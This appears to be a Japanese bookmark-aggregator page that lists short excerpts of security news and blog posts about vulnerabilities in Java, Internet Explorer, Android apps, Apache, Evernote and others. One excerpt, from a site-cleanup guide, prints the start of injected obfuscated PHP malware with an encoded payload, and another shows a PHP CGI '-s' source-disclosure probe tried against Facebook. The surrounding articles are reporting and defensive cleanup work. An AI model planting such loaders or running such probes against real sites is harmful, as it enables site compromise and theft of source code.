「Java 7 Update 11でも脆弱性は残っているから引き続きJava無効化を」という話について
「Java SE 7 Update 11 でもバグが修正されていない」という専門家の意見が書いてあるロイター通信の記事（Oracle updates Java, security expert says it still has bugs）をTwitterで紹介しましたが、「やはり修正されていない」「修正されたのは２つの脆弱性の内の一つだけ」というニュース記事が複数出てきました。 これらのニュース記事には、「Java 7 Update 11でも脆弱性は残っているから、Java(Java appletを起動するためのブラウザ上のJavaプラグイン)をひきつづき無効化せよ」という内容のCERTの意見が掲載されています（無効化手順はこちら）。 しかし、日本語の記事が曖昧で、少し情報源のページを読んでみると、単に「片方が修正されていないから危険」というわけではない、ちょっとややこしい話のようだった
Microsoftが臨時パッチを公開、攻撃発生のIEの脆弱性に対処 （ITmedia エンタープライズ） - Yahoo!ニュース
米Microsoftは1月14日（日本時間15日）、12月に発覚したInternet Explorer（IE） 6〜8の脆弱性に対処する更新プログラムを臨時公開した。既に攻撃の発生も伝えられていることから、できるだけ早く適用するよう呼び掛けている。 Microsoftのセキュリティ情報「MS13-008」によると、今回の更新プログラムでは、IE 6〜8に存在していた1件の解放後使用の脆弱性に対処した。この問題を突いて細工を施したWebページをユーザーが見ると、リモートで任意のコードを実行される恐れがあるとされ、深刻度は同社の4段階評価で最も高い「緊急」と位置付けている。 現時点で発生している攻撃の件数は「限定的」だとMicrosoftは説明しているが、影響を受けるユーザーの数がさらに増える可能性があるとして、定例外での対応に踏み切った。更新プログラムは、ユーザーが自動更新を有効にしてい
マイクロソフト、Internet Explorerの脆弱性に対し緊急回避策を提供開始 | RBB TODAY
日本マイクロソフトは20日、「マイクロソフト セキュリティ アドバイザリ（2757760）」として公表されたInternet Explorerの脆弱性に対し、回避策となる「Fix It」を公開した。 Internet Explorer6、7、8、9には、リモートからコード（命令）が実行される脆弱性が存在しており、これを悪用した攻撃もすでに確認されているという。現在、修正プログラムは公開されていないが、今回、緊急の回避策として「Fix It 50939」（パッチプログラム）が公開された。修正プログラムの公開までの回避措置として回避策を実施することをマイクロソフトでは推奨している。 なお日本マイクロソフト社によると、9月22日に本脆弱性を修正するセキュリティ更新プログラムが公開される予定。 《冨岡晶》
「Yahoo!ツールバー」に脆弱性、検索キーワードが第三者に知られる恐れも
情報処理推進機構（IPA）とJPCERT コーディネーションは7月30日、ヤフーの「Yahoo!ツールバー」の一部バージョンにツールバーが不正に書き換えられてしまう脆弱性が見つかったと発表した。不正サイトを経由してユーザーの検索キーワードが第三者に知られてしまう恐れがある。 脆弱性が存在するのは、Yahoo!ツールバー Ver.1.0.0.5以前のChromeおよびSafari向けのバージョン。ユーザーが不正サイトにアクセスした際にツールバーが不正に書き換えられてしまう可能性があり、その状態でユーザーが検索をしようとすると、ヤフー以外の不正サーバに接続されるなどして、検索キーワードが第三者に漏えいしてしまうという。 IPAとJPCERT コーディネーションは、ヤフーが提供する最新版の利用でこの問題の影響を回避できるとし、ユーザーにアップデートを呼び掛けている。
IPAテクニカルウォッチ 『Androidアプリの脆弱性』に関するレポート：IPA 独立行政法人 情報処理推進機構
IPA（独立行政法人情報処理推進機構、理事長：藤江 一正）は、IPAに届け出られるAndroidアプリの脆弱性関連情報が2011年後半から増加していることを踏まえ、それらを分析して脆弱性を作り込みやすいポイントをまとめ、技術レポート「IPAテクニカルウォッチ」として公開しました。 近年、Android端末の利用者の増加に伴い、多くのAndroidアプリが提供されるようになりました。そのような状況の中、2011年後半からIPAに届け出られるAndroidアプリの脆弱性関連情報も増加しており、2012年5月末までの累計で42件の届出がありました。届出を分析した結果、その7割超が「アクセス制限の不備」の脆弱性であることがわかりました。 「アクセス制限の不備」の脆弱性は、制限が適切に実施されていないために、非公開または公開を限定すべき情報や機能に対するアクセスを第三者に許してしまう問題です。 An
facebookにPHP CGIの脆弱性を試してみたら面白い対策がされていた！！ - cakephperの日記(CakePHP, Laravel, PHP)
PHPに新たな脆弱性が見つかって、CGIモードで動作するPHPの場合コマンドライン引数がHTTP経由で渡せてしまうため、-sオプションを渡すとPHPのソースコードが丸見えになるというのが話題になってます。(-sオプションはhtmlでシンタックスハイライトまでしてくれてコードが見やすくなる) そこでFacebookに向けてこれを試してみると・・・ https://www.facebook.com/?-s こんな情報が！！ <?php include_once 'https://www.facebook.com/careers/department?dept=engineering&req=a2KA0000000Lt8LMAS'; このURLにアクセスすると、セキュリティエンジニアの求人情報ページに行きます :) おしゃれー
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
「SQLインジェクション対策」でGoogle検索して上位15記事を検証した - ockeghem's blog
このエントリでは、ネット上で「SQLインジェクション対策」でGoogle検索した結果の上位15エントリを検証した結果を報告します。 SQLインジェクション脆弱性の対策は、既に「安全なSQLの呼び出し方」にファイナルアンサー（後述）を示していますが、まだこの文書を知らない人が多いだろうことと、やや上級者向けの文書であることから、まだ十分に実践されてはいないと思います。 この状況で、セキュリティのことをよく知らない人がSQLインジェクション対策しようとした場合の行動を予測してみると、かなりの割合の人がGoogle等で検索して対処方法を調べると思われます。そこで、以下のURLでSQLインジェクション対策方法を検索した結果の上位のエントリを検証してみようと思い立ちました。 http://www.google.co.jp/search?q=SQLインジェクション対策 どこまで調べるかですが、以前NH
HTC製Android端末に個人情報流出の脆弱性発覚
HTCが「EVO 3D」「EVO 4G」「Thunderbolt」に追加したロギングツールにより、アプリが無断でユーザーの個人情報にアクセスできてしまうことをAndroid Policeが明らかにした。 台湾のHTC製Android搭載スマートフォンに個人情報流出につながる脆弱性があると、Android関連情報サイトのAndroid Policeが10月1日（現地時間）、発表した。指摘の対象は「EVO 3D」「EVO 4G」「Thunderbolt」で、「Sensation」のシリーズにも可能性があるという。 Android Policeによると、この脆弱性を突いた悪質なアプリをインストールすると、メールアドレス、GPSのロケーション情報、電話番号、テキストメッセージのデータなどにアクセスされる恐れがある。 Android Policeは9月24日にHTCにこの脆弱性を報告したが、5営業日
無効なURLです
無効なURLです。 プログラム設定の反映待ちである可能性があります。 しばらく時間をおいて再度アクセスをお試しください。
Apacheの未解決の脆弱性を突く攻撃が横行
Apache Web Serverに未解決の脆弱性が存在し、この脆弱性を突いた攻撃が横行しているとして、Apache Software Foundationが8月24日付（米国時間）のアドバイザリーで注意を促した。 アドバイザリーによると、ApacheでRangeリクエストを処理する方法にサービス妨害（DoS）の脆弱性が存在する。影響を受けるのはApache 1.3とApache 2の全バージョン。脆弱性を突いてリモートから攻撃を受けると、大量のメモリとCPUが消費されてしまう恐れがある。 脆弱性情報は先にセキュリティメーリングリストでも公開され、攻撃ツールが出回って広く使われているという。この問題を修正するパッチは4日以内に公開される見通し。アドバイザリーでは当面の対策として、攻撃を避けるための設定方法も紹介している。
Mozilla、「Firefox 6」の正式版をリリース Android版はタブレットに最適化
Firefoxの最新版では10件の脆弱性に対処したほか、ロケーションバー周りのユーザーインタフェースに改善が加えられた。Android版は起動やページ読み込み速度が短縮され、タブレット端末での表示向けにボタンやフォントサイズが調整された。 Mozilla Foundationは8月16日（現地時間）、Webブラウザの最新版となる「Firefox 6」を正式リリースした。 バージョン5からの大きな変更はなく、ロケーションバーで開いているWebサイトのURLでドメイン名の部分が強調表示されるようになったり、ロケーションバー左端のサイトアイコン表示領域がシンプルになるなどの細かい改良が施された。また、タブ機能「Panorama」を使っている場合の起動時間が短縮された。 セキュリティ面では、Firefox 5までのバージョンに存在していたメモリ安全性の問題など10件の脆弱性に対処した。このうち8件
Androidアプリから情報流出の恐れ、99.7％の端末に影響
Androidアプリケーションから個人情報が流出し、攻撃者に傍受されたり改ざんされたりする恐れがあるという。ドイツの研究者が発表した。 米GoogleがAndroid搭載端末で提供しているカレンダーアプリケーションや連絡先アプリケーションの情報が暗号化されないまま転送され、他人に情報を傍受されたり、改ざんされたりする恐れがあることが明らかになったと、ドイツの研究者が発表した。Androidを搭載したスマートフォンの99.7％がこの脆弱性の影響を受けるとしている。 ドイツのウルム大学の研究者が公開した情報によると、この脆弱性はGoogle CalendarやGoogle Contactsなど「ClientLogin」という認証プロトコルを使っているアプリケーションで、暗号化されないHTTPを介して認証用トークン（authToken）がやり取りされている問題に起因する。これは公衆無線LANを介
Skypeが個人情報流出の脆弱性に対処、Android版ユーザーに更新呼び掛け
Skypeはユーザー情報流出の脆弱性に対処した更新版を、Android Marketを通じて提供開始した。 Android向けSkypeからユーザー情報が流出する恐れがあると指摘されていた問題で、Skypeは4月20日、この問題に対処した更新版をAndroid Marketを通じて提供開始したと発表した。ユーザーは個人情報を守るため、できるだけ早く更新版を導入してほしいと促している。 この問題をめぐっては、Skypeの個人情報の保存方法が適切でなく、悪質なサードパーティーアプリケーションをAndroid端末にインストールすると、端末に保存されたSkypeのファイルにアクセスされる恐れがあるとされていた。 Skypeによれば、これまでのところ、Android端末上のSkypeの情報を不正に利用しようとする悪質なアプリケーションの実例は報告されていないという。 同社は今後も注意深く状況を見守っ
Evernote の XSS 脆弱性に関して mala 氏のつぶやき
要するに、解決されるまではログアウトしとけということだそうデス。 【2011/04/20 12:20 追記】ひゃっはー的なおまけを追加しました。 【2011/04/20 00:30 追記】多分これで最後。以降は Evernote の正式発表を待った上で、それを信用して利用するかどうかは各個人の判断にお任せします。 【2011/04/19 17:05 追記】午後の部追記。なお、エントリを起こされている方がおりましたのでご紹介。＞『bulkneets氏によって報告されたEvernoteのXSS脆弱性とは 危険と対策』( http://d.hatena.ne.jp/pichikupachiku/20110419/1303158373 ) 続きを読む
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
ウェブアプリのセキュリティをちゃんと知ろう